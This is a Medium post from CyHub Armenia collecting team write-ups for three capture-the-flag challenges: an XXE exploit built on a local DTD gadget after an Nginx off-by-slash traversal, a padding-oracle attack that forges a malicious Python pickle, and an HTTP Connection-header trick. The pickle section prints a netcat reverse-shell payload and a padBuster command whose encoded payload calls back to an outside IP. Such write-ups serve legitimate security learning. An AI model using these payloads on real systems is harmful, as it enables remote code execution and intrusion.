1CAT CTF Write-ups (Մաս #2) — — OrangeSite, BabyPython, web8001

Այս մասում կընթերցեք OrangeSite, BabyPython և web8001 խնդիրների լուծումները՝ գրված Krisp և LifeTrace թիմերի մասնակիցների կողմից։

# Team name: Krisp

You can find the original writeup by davwwwx posted here — ->https://blog.xss.am/2021/11/cyhub-off-by-slash-xxe/

On November 27 Cyhub Armenia organized a very fun local CTF event — 1 CAT COMPANY CTF and Hayk Andriasyan created an XXE challenge for it.

As a task description, we get only the website location:

Visiting which we see nothing helpful, so we run our web fuzzer with a generic wordlist and get some interesting endpoints — /health, a health service actuator endpoint, /test some spring endpoint which throws java error containing script’s full path, /api, which returns 403 forbidden response.

Combing what we got — task’s name clearly referring to Orange Tsai, NginX server, we can clearly understand we must have NginX off by slash directory traversal vulnerability, so we try traversing to /api endpoint discovered before and succeed

Fuzzing for the obvious {path}, we find /api/data endpoint which expects XML body

So we try to exploit the XXE accessing external services via http/https and getting blocked by the parser, accessing external ftp server via file protocol and failing. But we see quickly the difference between existent and non existent file paths. When the server responds Your XML is valid the file exists and /somepath (No such file or directory) when it doesn’t.

successfull file read
failed file read

Then we realize that the only way to exfiltrate the data is through exploiting xxe with local dtd files. After trying some known gadgets we fail, so we should find a gadget ourselves. To do so we run a FreeBSD VM, as we know Antranig Vartanian, who is hosting the challenges, is a huuge FreeBSD fan and contributor, installing most probable maven dependencies like spring boot and jetty. And to find local dtd files we run the dtd finder tool made by GoSecure in our home directory with the following command.

java -jar dtd-finder-1.1-all.jar /home/tmp-user/.m2/ > out

Which yields the following results:


To find which jetty version the server is using, we pull the repo, extract version tags, feed it to Burp’s Intruder and find that it is using 9.3.3.v20150827

We choose configure_6_0.dtd file to create our gadget as we have a perfect candidate CONFIG, which gets reflected few lines after.

To create the gadget we should escape CONFIG reflection on line 41

<!ENTITY % CONFIG 'Set|Get|Put|Call|New|Ref|Array|Map|Property)*>
<!ENTITY &#x25; file SYSTEM "file:///usr/home/app/">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
<!ELEMENT asd ('>

Sending the payload we get directory listing for the /usr/home/app/ folder

Finally, in .extraverysupErSEcr3Tfolder folder, we find flag.txt

# Team name: Krisp

You can find the original writeup by davwwwx posted here — ->https://blog.xss.am/2021/11/cyhub-padding-oracle-pickle/


On the 1 CAT COMPANY CTF we didn’t manage to finalize our solution for the BabyPython challenge, created by Vahe Karapetyan, but one of our team members — Varik Matevosyan, solved it anyways after the time was up.

Below is his write-up, enjoy!

Analyzing the challenge

One of the most interesting and difficult challenges on the 1Cat CTF was the “Baby Python”. In the challenge description we find a URL and a python file to download:

endpoint: http://baby.2021.ctf.cyhub.am/
files: https://2021.ctf.cyhub.am/materials/securepickle.py

Let’s first check the website. When we open the page we can see that each time it is giving us a random string. e.g.

After taking a look at the provided source code we see this a crypto challenge:

import base64
import pickle
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from Crypto.Random import get_random_bytes
class AESCipher:
def __init__(self, key):
self.key = pad(key.encode('utf-8'), AES.block_size)
def encrypt(self, data):
iv = get_random_bytes(AES.block_size)
self.cipher = AES.new(self.key, AES.MODE_CBC, iv)
return base64.b64encode(iv + self.cipher.encrypt(pad(data, AES.block_size)))
def decrypt(self, data):
raw = base64.b64decode(data)
self.cipher = AES.new(self.key, AES.MODE_CBC, raw[:AES.block_size])
return unpad(self.cipher.decrypt(raw[AES.block_size:]), AES.block_size)
class SecurePickle:
"""Baby Devloper wanted to secure the pickle. Since it's not secure. Absolutely. Let's Encrypt"""
def __init__(self, key):
self.key = key
self.encryptor = AESCipher(key)
def loads(self, pickled_string):
decrypted_string = self.encryptor.decrypt(pickled_string)
return pickle.loads(decrypted_string)
def dumps(self, object_to_pickle):
encrypted_string = self.encryptor.encrypt(object_to_pickle)
return encrypted_string
def dumps2(self, object_to_pickle):
pickled_string = pickle.dumps(object_to_pickle)
encrypted_string = self.encryptor.encrypt(pickled_string)
return encrypted_string

Python pickle

So the SecurePickle class is for loading decrypted pickles and for dumping encrypted ones. As eval is evil so is the pickle. So if we will be able to pass our payload to pickle.loads method it will execute our code. But we have 2 problems before moving forward:

  • Where is the endpoint accepting user input and passing it into the pickle.loads sink?
  • And the second one is that the strings are encrypted with CBC encryption, so we need a key to construct our payload, or do we?

The first problem was solved pretty easily, we just ran a directory fuzzer, found /loads endpoint, then ran param miner and found out that it accepts ?obj= query parameter. Passing any encrypted string we got previously from the request to website root http://baby.2021.ctf.cyhub.am/, the page responds with a plaintext string test!.


We can consider that this method decrypts the CBC message and passes it to pickle.loads function, so this surely is the source.

Padding oracle attack

As the first problem is solved, let’s find out whether or not we can construct a payload that will be decrypted by the server. After some googling, we found out that CBC encryption is vulnerable to Padding oracle attacks if it is padded by a random IV, which is true in this case.

Here are some resources that helped us understand the attack:

TL;DR — an attacker can encrypt an arbitrary message without knowing the encryption key and that’s what we needed.


During further research, we also found a ready-to-go exploit by Aon’s Cyber LabsPadBuster which is a Perl script that will automatically exploit the vulnerable server after passing some required arguments to it.

padBuster.pl <URL> EncryptedSample BlockSize(16) -error 'PKCS#7 padding is incorrect.' -encodedtext 'our payload with malicious code'


To generate the proper payload we should dump a string with pickle and encode it with base64:

import pickle
import base64
import os
class Payload:
def __reduce__(self):
cmd = ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(Payload())

This will open a reverse shell to our remote server at

So the final arguments for the script will be:

perl padBuster.pl 'http://baby.2021.ctf.cyhub.am/loads?obj=X4Dpl9XXEOf5zaa3hyTFcfOkfxIFQ9BfgIwkuA3KNBu85ZOKRM1U4rIkEbxYL0qI' X4Dpl9XXEOf5zaa3hyTFcfOkfxIFQ9BfgIwkuA3KNBu85ZOKRM1U4rIkEbxYL0qI 16 -error "PKCS#7 padding is incorrect." -encodedtext 'gASVbAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjFFybSAvdG1wL2Y7bWtmaWZvIC90bXAvZjtjYXQgL3RtcC9mfC9iaW4vc2ggLWkgMj4mMXxuYyA1NC4yMTIuMTQwLjI0MSA0NDQ0ID4vdG1wL2aUhZRSlC4='

After running the script and waiting about 30–40 minutes we get our encrypted message:

Block 1 Results:
[+] New Cipher Text (HEX): ade7fd36447b7b059ad590bb4f94df60
[+] Intermediate Bytes (HEX): 2de3685a447b7b059ad590374ae4b013
** Finished ***
[+] Encrypted value is: ref9NkR7ewWa1ZC7T5TfYOMRK%2Fvi1bbhFMwDF52RGJo4VO%2FGV8i6LzWQOb4Xt6RPCE5u6tK79BOyMuPZKNb7eZHoMW8PLbFKu9ffqe3UqBZ3Ku5sqqvKIi0hr0yuSzIRB79ewBeca95BfXrZBXDUa83MgM9NNqc80d2pKODxcjYAAAAAAAAAAAAAAAAAAAAA

Now let’s set a Netcat listener at port 4444 nc -l 4444 and pass the payload to the server:


As soon as the page is opened we get our reverse shell and reading the environment variables, we find the long-awaited flag:

# Team name: LifeTrace

The “Connection” header field allows the sender to indicate desired control options for
the current connection.
As stated in HTTP Message Syntax RFC document, If a header field aside from
Connection is used to supply control information for or about the current connection, the sender must list the corresponding field-name within the Connection header field.


As we can see in response of the HTTP request (Img1), a strange header appears to be
listed there: “X-Annoying-Header: RemoveMePlease”. It definitely messes up with
Connection. So Just send a new request with “Connection: X-Annoying-Header” Header


And flag will pop up in response:





CyHub Armenia is the main cybersecurity hub in Armenia. We are setting the stage for the next technological breakthroughs in Armenia’s cybersecurity.

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

How PyDoc Helps Your Python Development

Heading image

Udacity, where the positive energy raises

Hadoop Namenode Override issue

Educational Mobile App Ideas 2022

FullStack Web Application—Springboot Project (Part 1: Back-end)

What every agile coach should read?

6 Ways PaaS Platforms Beat Custom App Development

Should you use ShapesXR + Unity at the MIT Reality Hack?

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store


CyHub Armenia is the main cybersecurity hub in Armenia. We are setting the stage for the next technological breakthroughs in Armenia’s cybersecurity.

More from Medium

Using StyleGAN2 to Create Galaxies

CS 373 Spring 2022: Nisha Ramesh


Tokugawa Invasion of Ainu Homeland